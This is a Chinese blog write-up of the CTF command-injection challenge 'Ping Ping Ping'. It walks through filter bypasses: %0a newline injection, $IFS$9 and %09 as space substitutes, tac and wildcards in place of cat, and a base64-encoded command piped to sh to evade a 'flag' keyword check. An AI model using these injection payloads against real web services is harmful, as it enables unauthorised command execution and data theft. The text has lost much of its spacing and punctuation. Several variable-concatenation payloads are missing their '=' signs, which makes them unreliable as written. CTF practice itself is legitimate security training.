CTF命令执行绕过:从空格过滤到cat被禁,我的实战踩坑与绕过思路全记录
CTF命令执行绕过从空格过滤到cat被禁我的实战踩坑与绕过思路全记录第一次参加CTF比赛时面对命令执行题目总是手足无措。直到那次遇到著名的Ping Ping Ping挑战才真正体会到什么叫绝处逢生。本文将还原我如何从零开始一步步突破过滤机制最终拿到flag的完整思考过程。1. 初探题目发现过滤规则题目界面简洁得令人不安——只有一个输入框提示Ping测试输入IP地址。我本能地输入127.0.0.1页面返回了正常的ping结果。这时CTF选手的直觉告诉我试试命令注入。第一次尝试127.0.0.1; ls返回错误检测到非法字符。看来分号被过滤了。Burp Suite Fuzz测试结果字符是否被过滤备注;✓传统截断符失效✓后台执行被阻断|✓管道符不可用%0a✗换行符成为突破口${IFS}✗空格替代方案存活在Burp中看到%0a未被过滤时心跳加速了——这意味着我们可能找到入口了。但真正的挑战才刚刚开始。2. 突破空格限制IFS的妙用当尝试查看目录时127.0.0.1%0als成功返回了目录列表但接下来查看文件时遇到了新问题127.0.0.1%0acat flag.txt返回错误空格不允许使用。这就是CTF的经典套路——过滤空格。可行的空格替代方案${IFS}内部字段分隔符$IFS$9添加$9避免解析错误重定向符号%09URL编码的制表符最终测试发现$IFS$9效果最好127.0.0.1%0acat$IFS$9flag.txt3. 当cat也被禁止命令替代的艺术正当我以为胜利在望时新的错误出现了cat命令不可用。这逼我不得不寻找替代方案。文件读取命令全家桶基础变种tac flag.txt # 反向输出 less flag.txt # 分页查看编码绕过echo Y2F0Cg | base64 -d flag.txt拼接魔法ac;bat;$a$b flag.txt通配符技巧cat fla* # 匹配任意字符 cat fla???txt # 问号匹配单个字符在Ping Ping Ping题目中发现tac未被过滤127.0.0.1%0atac$IFS$9fla*4. 终极挑战flag关键词过滤最棘手的情况出现了——即使绕过所有限制只要输出中包含flag字样就会被拦截。这时需要组合多种技巧分步突破方案先读取index.php源码127.0.0.1%0atac$IFS$9index.php发现确实有flag关键词检测使用变量拼接127.0.0.1%0aafl;bag;$a$bcat;$a$b$IFS$9$a$b.php终极payload127.0.0.1%0aecho$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh这个payload做了三件事使用base64编码绕过关键词检测通过管道传递给shell执行最终成功读取flag.php内容那次比赛后我养成了系统性的测试习惯从基础注入开始逐步测试每个可能的过滤点记录所有可用的替代方案。真正的CTF高手不是记住所有payload而是掌握快速构建payload的思维框架。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2629348.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!